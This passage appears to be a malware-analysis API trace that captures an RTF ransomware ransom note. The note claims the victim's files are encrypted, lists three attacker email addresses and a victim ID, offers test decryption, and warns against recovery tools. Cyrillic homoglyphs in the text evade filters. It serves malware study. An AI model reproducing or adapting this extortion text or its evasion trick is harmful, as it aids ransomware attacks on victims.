ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x27bfb38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd 